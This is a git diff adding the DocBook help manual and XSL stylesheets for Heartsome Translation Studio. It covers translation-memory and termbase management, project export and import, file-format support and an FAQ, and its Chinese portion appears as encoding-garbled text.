    + + + The successfully merged XLIFF file will be saved in the same + folder it was in before splitting. The file name of the merged + file is suffixed with _merged for the users' + convenience. + +
    + The merged XLIFF file + + + + + + + + +
    +
    +
    +
    + + + Unlock repetitions + + Unlocking repetitions is the reverse operation of locking repeated segments during + preparation of the + translation project. The purpose of unlocking of previously + locked repetitions is to apply translations to these repeated + segments. For the procedure to apply translations to repeated segments + after they have been unlocked, please see propagate translation. + + All locked segments can be unlocked in a few simple steps as + follows: + + + + Open or "merge and open" the XLIFF file(s) to be + unlocked. + + + + In the editor, filter the segments by locked + segments. + +
    + Unlock segments: Filter locked segments + + + + + + + + +
    +
    + + + Select the segments to be unlocked. + You can use Ctrl/Shift + and the left mouse button to select multiple segments. + + + + + Right-click > Lock。 + +
    + Unlock segments + + + + + + + + +
    +
    +
    +
    + + + Propagate Translation + + Propagate Translation is mainly used to handle repetitions by + applying the translation of a segment to all other segments that share + the same source text. This feature is commonly used in combination + with the "lock/unlock repeated segments" feature previously mentioned. + Follow these steps: + + + + Open or merge and open the XLIFF file that + contains the repetitions to which you want to apply + translations. + + + + Click Translation > + Propagate Translationï¼› + +
    + Propagate Translation + + + + + + + + +
    +
    + + + In the editor, filter the segments by Internal + Repetitions. + + + + Check if the segments require internal tags to be adjusted + manually. + +
    + + + By default, Propagating Translation will + not overwrite any existing translations. If the + existing translation is no longer needed, it should be deleted first + using the Edit > Delete + Translation feature before the Propagate + Translation feature is implemented. + +
    + + + Convert XLIFF to target file + + When all these steps have been completed, we recommend running + another QA to make sure there are no + obvious mistakes (especially with internal tags) in the translation. + After that, you are ready to generate the target file. The procedure + to generate translated target files is as follows: + + + + In the project, select the + XLIFF file(s)/folder(s) to be converted to target file(s). + + + + Use the right-click menu or File menu + > Convert to Target Files. + +
    + Convert XLIFFs to Target Files + + + + + + + + +
    +
    + + + In the Convert XLIFFs to Target + Files dialog box, confirm the following settings: +
    + Convert XLIFFs to Target Files + + + + + + + + +
    + + + + Encoding + + The target file's encoding needs to be specified. When + non-Unicode encoding is + used, some characters in the target language may not display + properly. Example: + Choose encoding for target file + + If the source file is an English file with + ASCII encoding, the file cannot use + ASCII after it has been translated into + Chinese. Instead, the target file should be saved using + UTF-8 or GBK + encoding. + + + + + Overwrite files with the same + name + + If there is an existing file sharing the same name as + the target file to be generated, the conversion cannot + continue. Users can select this option if they are sure that + the existing target file with the same name is no + longer needed. Otherwise, users should move or + rename the existing target file before continuing with the + conversion. + + +
    + + + Click the OK button. The target file + will be converted as as follows: + +
    + Target file converted from XLIFF + + + + + + + + +
    +
    +
    + + The converted target file will stay in the same folder structure + in the XLIFF folder (this directory structure is + inherited from that of the source file), saved under + /Target/target language code. +
    +
    +
    + + + Maintenance and management of TMs and termbases + + Databases (including TMs and termbases) are among the most essential + components of CAT tools. Their function is to store all translated content + (including sentences and terms) and to display them for users' reference + when appropriate. Databases keep a record of a user's translation history + and associated expertise. Maintenance and management of databases is + therefore an important task. + + With regard to maintenance and management of databases, we suggest + the following: + + + + Distinguish between a final database and a + draft database. + + A final database is a collection of + finalized translations that have been delivered to clients after + thorough translation, editing and proofreading. This database + represents higher translation quality and greater value for reference. + These finalized translations should be saved and backed up for + long-term archival. A final database is one way + these translations can be saved. Such translations can also be saved + as TMX/TBX files or other formats, and + backed up for future use. + + An draft database is used to keep the draft + translations done by translators throughout the project. Since they + are not yet approved, these translations might include some improperly + translated text or mistakes. However, a draft database can be more + useful than a final database in the sense that the draft database may + contain translations that are more relevant to the current project and + more up to date. + + + + Categorise databases + + Final databases can be divided into various categories by + industry sector, subject matter, language pair or project, etc. + Translations that fall into the same category can be saved in the same + database. During a translation project, final databases of the same + category can be provided to translators for reference. + + Draft databases can be created based on the project and made + available to all translators, editors and proofreaders to refer to and + make changes to over the project life cycle. The finalized + translations can be obtained at the end. When the finalized + translations have been saved in the final databases, the draft + databases can be saved or deleted. + + + + + Update Translation Memory + + Updating a TM means to save all the source segments and + corresponding translations from a bilingual XLIFF file into the TM upon + translation completion. Usually this is to save all final translations + of a project into the final database. Follow these steps: + + + + Select the project, from the right-click + menu/Project menu, select Project + Settings > Translation + Memory. Make sure a default TM + has been set for the project (for details, see ). + For finalized translations, we recommend + creating a new database or using an existing final database to + save them instead of using an draft database. + + + + + Select one or multiple XLIFF files/folders from the project, + from the right click menu/Project menu, click + Update Translation Memory. + +
    + Update Translation Memory + + + + + + + + +
    +
    + + + In the Update Translation + Memory dialog box, configure the following settings + as appropriate:
    + Update Translation Memory + + + + + + + + +
    + + + + Range + + The segment status(es) to be saved in the database + + + + Draft + + + + Translated + + + + Approved + + + + Signed-off + + + + Locked + + + + + + Options + + + + Repetitions processing: Please + see . + + + + +
    + + + Click the OK button. + +
    +
    + + + Translation Memory Management + + TMs can be created during project creation, but HSTS also has a + specialized TM management feature that helps users to create or delete + TMs on database servers without having to open projects. The TM + management interface can be opened by going to + Databases > Translation Memory + Management. + + + Create + + Follow these steps to create a TM from the + Translation Memory Management dialog + box: + +
    + Translation Memory Management + + + + + + + + +
    + + + + Select database server type in the left side.
    + Translation Memory Management + + + + + + + + +
    +
    + + + Enter connection information for the relevant database + server on the right, and click the Search + button. + + + + A list of TMs on this database server will be displayed, as + long as the database information entered is correct and that both + the server and the network are running. + + + + Click the Create button, enter the + name of the TM and click OK.
    + Create Translation Memory + + + + + + + + +
    +
    +
    + + In step 3, upon successful connection, the database information + will be automatically saved in the respective database type to the + left of the dialog box. When you want to search in this database + server, simply click the appropriate database without having to enter + the database information again. +
    + + + Delete + + The steps for deleting a database from the + Translation Memory Management dialog + box are similar to the steps for creating it, except that the last + step should be to click the Delete button and + then OK. + + + Once a TM has been deleted, it cannot be + restored. Therefore, please make sure that a TMX back-up + has been exported for the TM, or that the content in the TM is no + longer needed prior to deleting a TM. + + +
    + + + Export TM as TMX + + TMX files are widely used across different CAT tools for + exchanging TMs, and HSTS supports both import and export of TMX files. + Importing TMX files is detailed in the project creation section (see + ). The procedure for + exporting TMs as TMX files is detailed below: + + + + Click Databases > Export + TMX. + +
    + Export TM as TMX + + + + + + + + +
    +
    + + + In the Export TM To TMX files + dialog box, the following settings need to be configured:
    + Export TM To TMX files + + + + + + + + +
    + + + + Translation Memory + + + + Add + + Click this button and the Translation + Memory Management dialog box will pop up. + From there, select the TM to be exported and click + OK. + +
    + Select the TM to be exported + + + + + + + + +
    +
    + + + Remove + + Remove a TM from the list of "TMs to be + exported". + + + + Export Languages + + When a TM from the list is selected, the languages of + the TM will be shown here. You must select at least two + languages to export the TM. + + + + Source Language + + If you are not sure about the source language of the + exported TMX file you may select + *all*. + +
    + Export TMX options + + + + + + + + +
    +
    +
    +
    + + + Filter Rules + + + + Add + + When the selected filter rule is N/A, + click Edit to add a new filter rule. + A filter rule includes the following information: + +
    + Export TMX: Filter rules + + + + + + + + +
    + + + + Name + + + + Type of criteria combination + + Meet all of the following + conditions, meet one of the + following conditions + + + + Criteria + + + + Segment + + + + Created on + + + + Modified on + + + + Created by + + + + Modified by + + + + Comments + + + + +
    + + + Edit + + When you select a filter rule that has already been + saved, you can click the Edit button + to edit the rule. + + + + Delete + + Delete the selected filter rule. + + + + Only export flagged + segments + + Only export flagged segments that meet the criteria of + the specified filter rules. + +
    +
    + + + Export Options + + + + TMX level 1 + + Remove all internal tags. The options should be + enabled if you want to import the exported TMX into + Trados. + + + + Custom Coding + + Specify the encoding used for TMX files. The default + coding is UTF-8 and usually does not need to + be changed. If you want to import the exported TMX into + Trados, custom encoding UTF-16LE should be + selected. + + + + + + TMX save path + +
    +
    +
    +
    + + + Termbase Management + + The Termbases Management interface + features and operations are almost the same as those of the Translation Memory Management dialog box + and therefore not repeated here. + +
    + Termbase Management dialog box + + + + + + + + +
    +
    + + + Export TM as TBX + + Just a TMs can be exported and imported as TMX files, termbase + data can be exchanged across different CAT tools by exporting and + importing TBX files. Here is how: + + + + Click Databases > Export + TBX,
    + Export Termbases as TBX Files + + + + + + + + +
    +
    + + + In the Export Termbases as TBX + Files dialog box, the following settings need to be + configured: + +
    + Export termbase as TBX + + + + + + + + +
    + + + + Termbase + + + + Add + + Click this button and the Termbases + Management dialog box will pop up. From + there, select the termbase to be exported and click + OK. + +
    + Select the termbase to be exported + + + + + + + + +
    +
    + + + Remove + + Remove a termbase from the list of "termbases to be + exported". + + + + Export Languages + + When a termbase from the list is selected, the + languages of the termbase will be shown here. You must + select at least two languages to export the termbase. + + + + Source Language + + Specify the source language for the TBX export. + +
    +
    + + + Filter Rules + + + + Add + + When the selected filter rule is N/A, + click Edit to add a new filter rule. + A filter rule includes the following information: + +
    + Export TBX: Filter rules + + + + + + + + +
    + + + + Name + + + + Type of criteria combination + + Meet all of the following + conditions, meet one of the + following conditions + + + + Criteria + + + + Term + + + + +
    + + + Edit + + When you select a filter rule that has already been + saved, you can click the Edit button + to edit the rule. + + + + Delete + + Delete the selected filter rule. + +
    +
    + + + Custom Coding + + Specify the encoding used for TMX files. The default + coding is UTF-8 and usually does not need to be + changed. + + + + TBX save path + +
    +
    +
    +
    +
    + + + Collaborating with teams + + A translation project is often completed by a team of people and + therefore inevitably involves teamwork. HSTS provides good support for + collaborating with teams. + + + Sharing databases + + Unlike most CAT tools where server-based features are offered as + separate products and sold at high prices, HSTS + Professional and higher editions support external + database servers (for a detailed list of supported database types, + please refer to external database servers) and allow team members to + share TMs and termbases on these servers. + + By following the instructions + and recommendations on maintenance and management of databases + detailed earlier, users can create final databases and + draft databases (both including TMs and termbases) on any + computer functioning as a server. Members of the translation team simply + need to add these TMs/termbases to their project. + + If your team needs to share TMs or termbases but are located in + different parts of the world, a cloud database might be a good option. + HSTS supports both Amazon RDS and ClearDB. For more information, please + see the product websites of the respective suppliers. + + + Differences between default and non-default + databases + + In HSTS, each project can have one default + TM/termbase, and an unlimited number of non-default + databases (also called reference databases). + Default and non-default databases are different in that + reference databases are read-only, meaning you + can search for matches in these databases but you can't save segments + in them. On the other hand, default databases are used for + searching and for saving segments. + + Access to databases can also be controlled with the user + management system that comes with the database server. Please see the + management documents of the appropriate database servers for more + details. + + + + + Export Project + + Exporting a project means to export a project as a compressed ZIP + package, making it easy for team members to exchange projects. Using + this approach, a project can be passed between people for the different + stages of the process, or split up and assigned to many team members. + Exchanging projects also avoids the duplication of effort involved with + creating projects, entering project information and setting up + TMs/termbases. The steps for exporting a project are described below, + for two different scenarios: + + + Passing the different stages of the process between team + members + + When the different stages of the project process are shared + between team members, it is usually necessary to export the entire + project. This can be done following these steps: + + + + Select the project to be + exported from the Project window. + + + + Click Project > Export + Project.
    + Export whole project + + + + + + + + +
    +
    + + + If no project was selected in step 1, it can be selected now + in the Export Project dialog box. + If you want to export only certain file formats, you can do so by + clicking the Filter Types button and then + selecting or entering the desired file extensions. + +
    + Export project dialog + + + + + + + + +
    +
    + + + Click Browse and select the desired + path and file + name. + + + + Click OK to start exporting the selected project. + +
    +
    + + + Assign project + + For easier operation when assigning a project to various team + members, we recommend first saving the files for the various members + in different folders and then taking the following steps: + + + + Click Project > Export + Project.
    + Export specific project files + + + + + + + + +
    +
    + + + In the Export Project dialog + box, select only the file/folder for the first team member, + including any references to be shared for the project. + +
    + Export specific project files + + + + + + + + +
    +
    + + + Click Browse and select the desired + path and file + name. + + + + Click OK to start exporting the + selected project. The exported project package format is + .hszip. + + + + Repeat steps 1 to 4 to export the files for each of the team + members. + +
    +
    +
    + + + Import Project + + Depending on the goal of importing a project, the ways to perform + the import vary: + + + Passing the different stages of the process between team + members + + When a project is passed between stages of the process, the team + member dealing with the next stage will not need to create a project. + Instead, by importing the project exported by the previous member, + they can continue the work from there. Follow these steps: + + + + Click Project > Import + Project.
    + Import project + + + + + + + + +
    +
    + + + Click Browse button, select the + .hszip file to import project. + +
    + Import project dialog + + + + + + + + +
    +
    + + + By default, all items in the project package will be + automatically selected and prepared for import. Double-check and + then click the Finish button. + +
    + + + If you import the project package back to original project, + you can select items to be + updated(overwritten). + +
    + + + Integrate and update + + Before finishing a project that has been assigned to multiple + members, all completed files have to be integrated into a certain + member's existing project. This member is usually the person who + assigned the project (e.g., the Project Manager).Once the person who + assigned the project get returned project package, one can + import and update current project (overwrite the all files under XLIFF + foler). + +
    + + + RTF external proofreading + + For information about exporting XLIFF contents to an RTF file for + external proofreading, please see + and . + +
    + + + Handling different file formats + + + + Microsoft Office 2003 files + + Microsoft Office 2003 files and earlier versions are examples of + source files that are indirectly supported. + Please go to www.openoffice.org to + download and install OpenOffice for free. After that, go to + Tools > Options > + Translation to set the installation path + for OpenOffice. Now you can convert Microsoft Office 2003 files the + way you convert directly supported formats. For detailed conversion + procedures, please see . + +
    + Options: Translate + + + + + + + + +
    +
    + + + Microsoft Office 2007/2010 files + + HSTS directly supports Microsoft Office 2007 (including Word, + Excel, and PowerPoint) files and later versions as source files. For + detailed conversion procedures, please see: . + + For Microsoft Excel 2007 / 2010, you can also choose whether to + exclude Red font cells or not: + +
    + Options: Excel conversion settings + + + + + + + + +
    + + For Microsoft PowerPoint 2007 / 2010, you can also choose + whether to exclude Notesor not (at this point, + masters and image paths are not handled): + +
    + Options PowerPoint conversion settings + + + + + + + + +
    +
    + + + TTX + + For Trados 2007 and earlier versions of bilingual file formats, + HSTS only supports segmented TTX files as source + files. For detailed conversion procedures, please see: . + + + + SDLXLIFF + + HSTS directly supports bilingual XLIFF files from SDL Trados + 2009 and later versions as source files. For detailed conversion + procedures, please see: . + + + + Déjà Vu XLIFF + + HSTS directly supports bilingual XLIFF files exported from Déjà + Vu as source files. For detailed conversion procedures, please see: + . + + + + MemoQ XLIFF + + HSTS directly supports bilingual XLIFF files from MemoQ as + source files. For detailed conversion procedures, please see: . + + + + Wordfast Pro TXML + + HSTS directly supports Wordfast Pro bilingual TXML files as + source files. For detailed conversion procedures, please see: . + + + + MIF + + HSTS directly supports MIF files from Adobe Frame-Maker 7 and + later versions as source files. For detailed conversion procedures, + please see: .If errors occur + when MIF files saved in FrameMaker 7 are being converted or processed + using HSTS, please use FrameMaker 8 or 9 to to save the MIF files + again before processing them with HSTS. If clients require FrameMaker + 7 deliverables, then the translated files need to be saved again as + FrameMaker 7 MIF files. + + In Options, you can set whether + to exclude Master content or not during MIF + conversion: + +
    + Options: MIF conversion settings + + + + + + + + +
    +
    + + + IDML + + HSTS directly supports IDML files from Adobe InDesign CS 5.0.1 + and later versions as source files. For detailed conversion + procedures, please see: . + + + + RTF + + HSTS directly supports RTF files as source files. For detailed + conversion procedures, please see: . + + + + HTML + + HSTS directly supports HTML files as source files. For detailed + conversion procedures, please see: . + + + + XML + + HSTS directly supports XML files as source files. For detailed + conversion procedures, please see: . + + + + Configure XML Converter + + For certain XML files, HSTS Professional and + Ultimate editions allow you to define how to deal + with each element and attribute value. See details below: + + + + Click Advanced > + Configure XML Converter. + +
    + Configure XML Converter + + + + + + + + +
    +
    + + + Click Analyze XML sample, select + the XML file to analyze.
    + Configure XML Converter + + + + + + + + +
    +
    + + + Change the analyzed configuration if needed:
    + Configure XML Element + + + + + + + + +
    +
    + + + Select the element needs to configure, click + Edit button, you can configure the + following settings: + +
    + Element configuration + + + + + + + + +
    + + + + Element name + + + + Element type + + + + Segment + + Extract as segment + + + + Inline + + Extract as internal tags + + + + Ignore + + Ignore + + + + + + Inline type + + The option only available when element type is + inline, the value can be: + image, pb, + lb, x-bold, + x-entry, x-font, + x-italic, + x-link, + x-underlined, + x-other + + + + Translatable attributes + + Name of the translation attribute to be extracted in + the element + + + + Reserve spaces + + +
    +
    +
    +
    +
    +
    +
    + + + FAQ + + + + + + What if the default segmentation is incorrect? + + + + If there are just a few instances of incorrect segmentation + occurs and there is no obvious pattern, this can be fixed using + merge segments or split segments. If + the incorrect segmentation occurs frequently and follows a certain + pattern, the problem can be fixed using segmentation + rules instead. + + + + Merge Segment + + In cases where text has been over segmented, use + Ctrl/Shift and the left + mouse button to select the consecutive segments to be merged, + then click Edit > Merge + Segment. Every two segments merged will be connected + by a newly generated internal tag between the + original source text segments.
    + Merge Segment + + + + + + + + +
    + +
    + Merge segments + + + + + + + + +
    +
    + + + Split Segment + + In cases where text has not been segmented enough, place + the cursor at the point where you want the text to be + segmented and then click Edit > + Split Segment.
    + Split Segment + + + + + + + + +
    + +
    + Split segments + + + + + + + + +
    + + + Only unlocked segments can be merged or split. + +
    + + + Segmentation Rule Configuration + + Segmentation rules configuration can be done using the + Segmentation Rule Manager, a + feature only available in the Professional and + Ultimate editions. To open Segmentation Rules + Manager, please click Advanced menu > + Segmentation Rules Manager.
    + Segmentation Rule Manager + + + + + + + + +
    Every SRX file can save many segmentation rules, + and SRX files can be added and edited here. Configuration of + segmentation rules in SRX files involves two parts:
    + + + + Language Rules + + These are the segmentation rules for a specific + language (e.g., Chinese) and usually deal with the + punctuation, symbols or characters specific to that + language. + + + + Select the SRX file to be edited and click the + Edit button. + +
    + Segmentation Rule Manager + + + + + + + + +
    +
    + + + If you do not intend to change the + Segmentation rule Name, just + click the OK.
    + Segmentation Rule + + + + + + + + +
    +
    + + + In Language rules, select the + language to edit, and click the Edit + Language Rule button to configure the + following settings: + +
    + Language Rule Configuration + + + + + + + + +
    + + + + Segmentation + required + + Whether segmentation is required or not when + the rule is satisfied (if not required, it is + usually an exception to the rule). + + + + Before + segmentation + + Segmentation/no segmentation after the + character (regex) + + + + After segmentation + + Segmentation/no segmentation before the + character (regex) + + +
    + + + Click OK and then + Save. + +
    +
    + + + Mapping rule + + Language mapping rules, e.g., can be configured so + that zh-CN, zh-HK, and zh-TW all use zh rules. + + + + The first two steps are the same as with + language rules: + + + + In mapping rules, select the rule + to be edited and click the Edit Mapping + Rule button. + +
    + Mapping Rule Configuration + + + + + + + + +
    +
    + + + Select the specific mapping rule and click the + Edit button to proceed with the + following settings:
    + Edit mapping rules + + + + + + + + +
    + + + + Language module + + Enter the regular expression for the language + code to be matched + + + + Language Rules + + Select the language rules that have been + added + + +
    + + + When you are done, save all the settings and + close unwanted dialog boxes. + +
    +
    +
    + + To use SRX files you have added or edited, select the + appropriate SRX files when you convert source files to + XLIFF. +
    +
    +
    +
    + + + + How can I use machine translation? + + + + HSTS currently supports Google Translate and Bing Translator + as machine translation engines. Both engines require a private key + and can only be used after configuring the appropriate settings in + HSTS. + + + + Google Translate + + At present, Google only provides Google Translate v2 as + a paid service, so you need to purchase the service + first. + + + + How do I buy it? + + + + If you don't have a Google account, please sign + up for one at https://accounts.google.com/SignUp + + + + Visit https://code.google.com/apis/console#:billing + and click the Create Project + button to create a project. + + + + Find Translate API from the list + of services and click the Activate + button next to it, which is shown as + OFF. Click to agree the two + sets of Terms of Use that pop up one after the + other. + + + + Select the Billing category to + the left or visit the above + website again and click Google + Checkout to pay. Follow instructions to + add your payment method, e.g., by entering your credit + card information. + + + + After the payment is made, select the API + Access category to the left. Select and copy + the value after the API Key for + later use. + + + + + + Settings + + + + Run HSTS and then open Tools + > Options > + Translation > + Google Translate. + + + + In the Key field, paste the + API Key you copied earlier on, then + click the Test button. + + + + Once the verification is complete, you may + proceed to change the following settings: + + + + Automatic Machine + Translation + + + + Only if the target segment has not + already been translated with Google + Translate + + This option saves traffic-based costs + associated with Google Translate (GT) by only + implementing GT translations for segments that have + not yet been translated by GT without submitting the + same segments repeatedly. + + + + No matter what is in the target + segment + + This option implements Google Translate (GT) + translation all the time, whether translation has + been done by GT or not. This is a suitable option if + your source text changes quite often, but it can + incur extra traffic-based costs with Google. + + + + Never, I'll do that + manually + + This option does not automatically implement + GT translation, but allows manual implementation + when needed. + + + + + + Pre-store Google Translate + translations + + Once enabled, this option will pre-store + translation by Google Translate in XLIFF + format. + + + + + + Click the OK button when + you finished configuring settings. + + + + + + If machine translation is not set to be implemented + manually, you will get Google-translated results when moving + between segments. If this does not happen, you may click + Translation > Google + Machine Translation to manually get translations + by Google Translate. + + + + Bing Translator + + Bing Translator is a service provided by Microsoft which + offers 2,000,000 characters of free translation per + month. + + + + Sign up + + + + Visit http://msdn.microsoft.com/en-us/library/hh454950.aspx, + and click the Sign In button in + the upper right corner to log in or sign up for a + Microsoft Live account. + + + + When logged in you will be automatically + directed back to the last screen. From there, click + the Azure + Marketplace link and then the Sign + Up button to subscribe to the Windows + Azure Marketplace. + + + + Enter the required information, go to + Country / Region and select + Worldwide (English) and then click the + Continue button. + + + + Agree to the Windows Azure Marketplace Terms of + Use and click the Register + button. + + + + Agree to the Microsoft Translator Terms of Use + and click Register to subscribe + to the Microsoft Translator service. + + + + Go to https://datamarket.azure.com/developer/applications/ + and click the Register + button. + + + + Enter the required information as you like + except that you should not change the Client + key. Copy the Client + ID and Key separately + and save them for later use. Click the + Create button. + + + + + + Settings + + Bing Translator is configured and used in HSTS in + the same way as Google Translate. The only difference is + that Bing Translator requires a Client + ID and Key, while Google + Translate only requires the private key. Please refer to + the Google + Translate settings for details. + + + + + + + + + + How do I correct source text mistakes? + + + + By default HSTS does not allow editing of source text in + order to avoid incorrect operation. However, if there are source + text mistakes that have to be corrected, you can go to the + Edit menu > Edit + Source > Edit Current + Source or Edit All Source + to temporarily unlock the source text. If you choose Edit Current + Source, you will be automatically prevented from editing source + text when you finish editing the current source text segment. If + you choose Edit All Source, then you will need to manually disable + editing source text, otherwise all source text segments will + remain editable. + + + + + + The default segmentation filter rules are not enough, what + can I do? + + + + You can add custom filter rules by clicking the + Customize Filters button to the right of + the segment filter. For details, please see . + + + + + + How do I find out what encoding my file is in? + + + + The following types of text-based files can be opened using + EmEditor, or any other text editors that support a variety of + encodings: + + + + .html, .htm + + + + .inx + + + + .js + + + + .mif + + + + .po + + + + .properties + + + + .rc + + + + .resx + + + + .rtf + + + + .sdlxliff + + + + .ttx + + + + .txt + + + + .xlf + + + + .xml + + + + The following XML-based compressed formats are usually + UTF-8: + + + + .doc, .ppt, .xls + (converted using OpenOffice for indirect support) + + + + .docx, .pptx, + .xlsx + + + + .idml + + + + .odt, .odp, + .ods + + + + + + + + What if my license doesn't work after I replace my computer + or reinstall the operating system? + + + + Before replacing your computer or reinstalling the operating + system, you should use Help > + License Management > + Deactivate on your old computer/system to + deactivate your license. When you finish the + replacement/re-installation, you will be prompted to activate your + license the first time you run the software. Simply follow the + instructions in the wizard. + + If you have finished replacing your computer or installing + the system without first deactivating your license, please contact technical + support who will need to deactivate your license from the + old computer/system manually before you can + activate the license again in your new computer/system. For + details, see . + + + + + + Is there any easier way to add or copy project files? + + + + HSTS's Project window is + similar to Windows Explorer,Mac OS's + Finder, or Linux's Nautilus (all + referred to as a file manager hereinafter). + Operations in a project such as creating, renaming, and deleting + sub-folders work the same way as in the file managers mentioned + above. + + Therefore, files from the operating system's file + manager can be copied into a project by directly + dragging and dropping them into the project. + Likewise, to move files to a file manager, you can copy or paste + project files or drag-and-drop them to the desired location.You + can also directly move files/folders between projects by dragging + and dropping. In addition, you can use the Edit + menu > Copy, + Cut, Paste + and other functions to organize files/folders. + + + When files are dragged from a project and if the target + location is in the same disk partition as Heartsome + Workspace, the default operation will be to + move rather than to copy the files. Therefore, it is + recommended to use the hotkeys + Ctrl/Command+C + and + Ctrl/Command+V + to copy files from the project to avoid accidentally removing + files from the project. + + + + + + + Sometimes file operations work on the file(s) selected in + Project view, and at other times they only work on the file + currently being edited. How do I tell? + + + + When the Project window is + active (title bar and frame have a different color), operations + will work on the file(s) selected in the + Project window; when the editor is + active, operations work on the one being edited. + + + + + + Can I apply batch operations to segments? + + + + Most segment-specific features in the + Edit and Translation menus + (e.g., change segment status, add/delete comments, etc.) can be + applied to multiple segments as a batch operation. To do this, use + Ctrl or Shift + left mouse + button to select segments and complete the desired function, which + will then apply to all selected segments. + + + + + + What's the best way to deal with segments that do not need + to be translated? + + + + Users with experience of other CAT tools might choose to use + features like copy source to target and then + approve segment to get the desired result.In HSTS, + however, we recommend an easier way: lock the segments that do not + need to be translated, and keep their translations empty. When the + XLIFFs are converted to target files, HSTS will automatically + extract the source text for segments with empty + translations. + + + + + + When I get a resource out of sync message + during a certain operation (e.g., exporting a project), what can I + do to fix it? + + + + In the Project window, select + the project the current file belongs to, then from the right-click + menu choose Refresh before starting the + operation (e.g., exporting file) again. + + + + + + Where does HSTS save my project files? + + + + When HSTS is run for the first time, a folder named + Heartsome Workspace will be created in the current + user directory (which is the folder path the system environment + variable %USERPROFILE% in Windows points to + [$HOME in MAC OS / Linux]). The directory is + referred to as the Heartsome Workspace folder. All + projects and all of its sub-folders/files created in HSTS are + saved in this folder. + + + + + + How do I get help from Heartsome when I have problems using + HSTS? + + + + You may e-mail Heartsome technical support at tech_support@heartsome.net + providing as much of the following information as possible in your + email, so that support staff can understand your issues more + effectively: + + + + Your operating system and its version, e.g., Windows XP + 32-bit SP3 + + + + Your Java Runtime Environment (JRE) version, e.g., Java + 1.7.0_05-b05 + + + + Your Heartsome product type and edition, e.g., + Translation Studio Ultimate 8.0.0 Build 20120907 + + + + Detailed steps that led to the problem + + + + Actual results + + + + Expected/desired results + + + + Sample files (as some problems only occur in certain + files) + + + + Screenshots of errors + + + + Any other information that may help support staff + identify the problems + + + + + + + + What versions of the XLIFF, TMX, and TBX standards are + supported by HSTS? + + + + HSTS supports the following versions of these + standards: + + + + XLIFF v1.2 + + + + TMX v1.4 and v1.4b + + + + TBX v0.2 + + + + + + + + With a TMX file exported from HSTS, how do I import it to + Trados? + + + + When you are using HSTS to export a TM as a TMX file, please + select the TMX level 1 (without tags) and + Custom Encoding check boxes, select + UTF-16LE from the drop down list, and use + Tools > TMX + Validator > File menu > + Clean TMX file. When you are finished, + import the file to Trados. + + +
    +
    +
    +
    diff --git a/ts/net.heartsome.cat.ts.ui.help/src/net/heartsome/cat/ts/ui/help/docbook/xsl/chunk.xsl b/ts/net.heartsome.cat.ts.ui.help/src/net/heartsome/cat/ts/ui/help/docbook/xsl/chunk.xsl new file mode 100644 index 0000000..0b4dc02 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/src/net/heartsome/cat/ts/ui/help/docbook/xsl/chunk.xsl @@ -0,0 +1,170 @@ + + + + + + + + 1 + + + 1 + + 0 + + + + +appendix toc,title +article/appendix nop +article toc,title +book title +chapter title +part toc,title +preface toc,title +qandadiv toc +qandaset toc +reference toc,title +sect1 toc +sect2 toc +sect3 toc +sect4 toc +sect5 toc +section toc +set toc,title + + + + + +
    + + + + 0 + 1 + + + + + + + ( + + ) + + + + + +
    +
    + +
    + + + + 0 + 1 + + + + + + ( + + ) + +
    +
    + +
    + + + + 0 + 1 + + + + +
    +
    +
    + +
    + + + + + +
    +

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Warning: glosssee @otherterm reference not found: + + + + + + + + + + + + + +

    +
    +
    + +
    + + +

    + + + + + + + + + + + + + +

    +
    +
    +
    +
    diff --git a/ts/net.heartsome.cat.ts.ui.help/src/net/heartsome/cat/ts/ui/help/docbook/xsl/fop.xsl b/ts/net.heartsome.cat.ts.ui.help/src/net/heartsome/cat/ts/ui/help/docbook/xsl/fop.xsl new file mode 100644 index 0000000..67f71d0 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/src/net/heartsome/cat/ts/ui/help/docbook/xsl/fop.xsl @@ -0,0 +1,15 @@ + + + + + +SimSun +SimSun +SimSun + diff --git a/ts/net.heartsome.cat.ts.ui.help/src/net/heartsome/cat/ts/ui/help/docbook/xsl/html.xsl b/ts/net.heartsome.cat.ts.ui.help/src/net/heartsome/cat/ts/ui/help/docbook/xsl/html.xsl new file mode 100644 index 0000000..c288b88 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/src/net/heartsome/cat/ts/ui/help/docbook/xsl/html.xsl @@ -0,0 +1,9 @@ + + + + + + + + 1 + diff --git a/ts/net.heartsome.cat.ts.ui.help/src/net/heartsome/cat/ts/ui/help/docbook/zh/.cvsignore b/ts/net.heartsome.cat.ts.ui.help/src/net/heartsome/cat/ts/ui/help/docbook/zh/.cvsignore new file mode 100644 index 0000000..c291c09 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/src/net/heartsome/cat/ts/ui/help/docbook/zh/.cvsignore @@ -0,0 +1 @@ +images diff --git a/ts/net.heartsome.cat.ts.ui.help/src/net/heartsome/cat/ts/ui/help/docbook/zh/.gitignore b/ts/net.heartsome.cat.ts.ui.help/src/net/heartsome/cat/ts/ui/help/docbook/zh/.gitignore new file mode 100644 index 0000000..ac5e457 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/src/net/heartsome/cat/ts/ui/help/docbook/zh/.gitignore @@ -0,0 +1,4 @@ +/images/ +images +/css/ +css diff --git a/ts/net.heartsome.cat.ts.ui.help/src/net/heartsome/cat/ts/ui/help/docbook/zh/ts8help_zh.xml b/ts/net.heartsome.cat.ts.ui.help/src/net/heartsome/cat/ts/ui/help/docbook/zh/ts8help_zh.xml new file mode 100644 index 0000000..7c6e5d1 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/src/net/heartsome/cat/ts/ui/help/docbook/zh/ts8help_zh.xml @@ -0,0 +1,6844 @@ + + + + Heartsome Translation Studio Release 8 帮助手册 + + + + 新特性 + + Heartsome Translation Studio Release 8 + 带æ¥äº†å¾ˆå¤šä»¤äººæ¿€åŠ¨çš„新特性,下é¢ä»…列出用户最为关注的主è¦æ–°ç‰¹æ€§ï¼š + + + + å…¨æ–°çš„ä¸€ä½“åŒ–ç•Œé¢ + + 在统一的一体化界é¢ä¸Šå®Œæˆä»Žæ–‡ä»¶å‡†å¤‡åˆ°è¯‘åŽå¤„ç†çš„所有æµç¨‹ã€‚ + + + + 全新的项目管ç†åŠŸèƒ½ + + 统一管ç†é¡¹ç›®çš„所有相关文件,包括æºæ–‡ä»¶ã€ç›®æ ‡æ–‡ä»¶ã€ä¸­é—´å¤„ç†çš„ XLIFF 文件ã€TMX 